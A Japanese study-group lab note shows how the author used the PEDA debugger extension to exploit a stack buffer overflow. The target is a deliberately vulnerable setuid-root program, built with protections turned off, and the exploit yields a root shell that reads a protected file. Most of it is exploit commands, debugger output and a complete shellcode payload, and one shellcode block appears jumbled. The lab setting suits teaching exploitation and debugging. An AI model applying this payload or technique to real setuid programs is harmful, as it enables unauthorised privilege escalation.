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すごい広島#82-issue#1397.md
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issue-1397-peda.md

すごい広島 #82

issue #1397

PEDAを使ってみた

DEP,SSP,ASLR無効の状態でsuidなvulnで試した.
最終的にsecret.txtを読み出すことをゴールとした.

    $ sudo sysctl -w kernel.randomize_va_space=0
    kernel.randomize_va_space = 0
    $ cat vuln.c 
    #include <stdio.h>
    #include <string.h>
    
    int main(int argc, char *argv[])
    {
            char buf[100] = {};  /* set all bytes to zero */
            printf("buf = %p\n", buf);
            strcpy(buf, argv[1]);
            puts(buf);
            return 0;
    }
    
    $ gcc -fno-stack-protector -z execstack -o vuln vuln.c
    $ sudo chown root vuln
    $ sudo chmod u+s vuln
    $ ls -al vuln
    -rwsr-xr-x 1 root mrtc0 5124 Dec 11 05:15 vuln
    $ ls -al secret.txt 
    -rw-r----- 1 root root 12 Dec 11 05:50 secret.txt
    $ cat secret.txt 
    cat: secret.txt: Permission denied

コードを見て分かるとおり,バッファサイズより多いデータを送るとSegvが起こる.

    $ ./vuln AAAAA
    buf = 0xbffff49c
    AAAAA
    $ ./vuln `python -c 'print "A"*120'`
    buf = 0xbffff42c
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Segmentation fault

ここからPEDAを使って解析していく.
cyclic_patternで周期的な文字列を生成してくれる.
これを引数にして実行する.

    gdb-peda$ pset arg 'cyclic_pattern(128)'
    gdb-peda$ show arg
    Argument list to give program being debugged when it is started is "'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA'".
    gdb-peda$ r
    buf = 0xbffff40c
    AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA
    
    Program received signal SIGSEGV, Segmentation fault.
    [----------------------------------registers-----------------------------------]
    EAX: 0x0 
    EBX: 0x41684141 ('AAhA')
    ECX: 0xb7fbf4e0 --> 0xfbad2a84 
    EDX: 0xb7fc0360 --> 0x0 
    ESI: 0x0 
    EDI: 0x41413741 ('A7AA')
    EBP: 0x6941414d ('MAAi')
    ESP: 0xbffff480 ("ANAAjAA9AAOA")
    EIP: 0x41384141 ('AA8A')
    EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    Invalid $PC address: 0x41384141
    [------------------------------------stack-------------------------------------]
    0000| 0xbffff480 ("ANAAjAA9AAOA")
    0004| 0xbffff484 ("jAA9AAOA")
    0008| 0xbffff488 ("AAOA")
    0012| 0xbffff48c --> 0xb7fe0800 --> 0x0 
    0016| 0xbffff490 --> 0xb7ff6821 (mov    eax,DWORD PTR [ebp-0x10])
    0020| 0xbffff494 --> 0xffffffff 
    0024| 0xbffff498 --> 0xb7ffeff4 --> 0x1cf2c 
    0028| 0xbffff49c --> 0x8048288 ("__libc_start_main")
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGSEGV
    0x41384141 in ?? ()
    gdb-peda$ pattern_search
    Registers contain pattern buffer:
    EIP+0 found at offset: 112
    EBX+0 found at offset: 100
    EDI+0 found at offset: 104
    EBP+0 found at offset: 108
    Registers point to pattern buffer:
    [ESP] --> offset 116 - size ~12
    Pattern buffer found at:
    0xb7fde000 : offset    0 - size  128 (mapped)
    0xbffff40c : offset    0 - size  128 ($sp + -0x74 [-29 dwords])
    0xbffff682 : offset    0 - size  128 ($sp + 0x202 [128 dwords])
    References to pattern buffer found at:
    0xb7fbf4e4 : 0xb7fde000 (/lib/i386-linux-gnu/i686/cmov/libc-2.13.so)
    0xb7fbf4e8 : 0xb7fde000 (/lib/i386-linux-gnu/i686/cmov/libc-2.13.so)
    0xb7fbf4ec : 0xb7fde000 (/lib/i386-linux-gnu/i686/cmov/libc-2.13.so)
    0xb7fbf4f0 : 0xb7fde000 (/lib/i386-linux-gnu/i686/cmov/libc-2.13.so)
    0xb7fbf4f4 : 0xb7fde000 (/lib/i386-linux-gnu/i686/cmov/libc-2.13.so)
    0xb7fbf4f8 : 0xb7fde000 (/lib/i386-linux-gnu/i686/cmov/libc-2.13.so)
    0xb7fbf4fc : 0xb7fde000 (/lib/i386-linux-gnu/i686/cmov/libc-2.13.so)
    0xbfffed68 : 0xb7fde000 ($sp + -0x718 [-454 dwords])
    0xbfffed80 : 0xb7fde000 ($sp + -0x700 [-448 dwords])
    0xbfffed90 : 0xb7fde000 ($sp + -0x6f0 [-444 dwords])
    0xbffff318 : 0xb7fde000 ($sp + -0x168 [-90 dwords])
    0xbffff32c : 0xb7fde000 ($sp + -0x154 [-85 dwords])
    0xbffff344 : 0xb7fde000 ($sp + -0x13c [-79 dwords])
    0xbffff354 : 0xb7fde000 ($sp + -0x12c [-75 dwords])
    0xbffff390 : 0xb7fde000 ($sp + -0xf0 [-60 dwords])
    0xbfffeedc : 0xbffff40c ($sp + -0x5a4 [-361 dwords])
    0xbffff3dc : 0xbffff40c ($sp + -0xa4 [-41 dwords])
    0xbffff3f0 : 0xbffff40c ($sp + -0x90 [-36 dwords])
    0xbffff3f4 : 0xbffff682 ($sp + -0x8c [-35 dwords])
    0xbffff528 : 0xbffff682 ($sp + 0xa8 [42 dwords])

pattern_searchでEIPの書き換えに112バイト必要なことを教えてくれる.
つまり送る文字列は以下のようになる.

    [112 bytes padding][eip][NOP padding][shellcode]

EIPを知るために仮にXXXXとおいて実行する.

    gdb-peda$ python
    2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"x2f\x2f\x73\x68\x68\x 
    >end
    gdb-peda$ pset arg '"A"*112 + "XXXX" + "\x90"*120 + shellcode'
    gdb-peda$ r
    buf = 0xbffff37c
    ̀1�Rh//shh/bin��RS���B


    Program received signal SIGSEGV, Segmentation fault.
    [----------------------------------registers-----------------------------------]
    EAX: 0x0 
    EBX: 0x41414141 ('AAAA')
    ECX: 0xb7fbf4e0 --> 0xfbad2a84 
    EDX: 0xb7fc0360 --> 0x0 
    ESI: 0x0 
    EDI: 0x41414141 ('AAAA')
    EBP: 0x41414141 ('AAAA')
    ESP: 0xbffff3f0 --> 0x90909090 
    EIP: 0x58585858 ('XXXX')
    EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    Invalid $PC address: 0x58585858
    [------------------------------------stack-------------------------------------]
    0000| 0xbffff3f0 --> 0x90909090 
    0004| 0xbffff3f4 --> 0x90909090 
    0008| 0xbffff3f8 --> 0x90909090 
    0012| 0xbffff3fc --> 0x90909090 
    0016| 0xbffff400 --> 0x90909090 
    0020| 0xbffff404 --> 0x90909090 
    0024| 0xbffff408 --> 0x90909090 
    0028| 0xbffff40c --> 0x90909090 
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGSEGV
    0x58585858 in ?? ()

送るべきEIPの値がわかったので再度実行.

    gdb-peda$ pset arg '"A"*112 + int2hexstr(0xbffff40c) + "\x90"*256 + shellcode'
    $ r
    buf = 0xbffff2fc
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    `1�Rh//shh/bin��RS���B
    process 15872 is executing new program: /bin/dash
    $ id
    [New process 15873]
    process 15873 is executing new program: /usr/bin/id
    uid=1000(mrtc0) gid=1001(mrtc0) groups=1001(mrtc0)
    $ [Inferior 2 (process 15873) exited normally]

シェルが起動できたので実行する.

    $ ./vuln `python -c 'print "A"*112 + "\x0c\xf4\xff\xbf" + "\x90"*256 + "\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"'`
    buf = 0xbffff30c
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
     ̀1�Rh//shh/bin��RS���B
    
    # id
    uid=0(root) gid=1001(mrtc0) groups=0(root),1001(mrtc0)
    # cat secret.txt
    すごい広島
    #

root権限でシェルを立ち上げ,secret.txtを読み出すことに成功した.

まだまだ使いこなせていないが便利なことはわかった.
バイナリこわい

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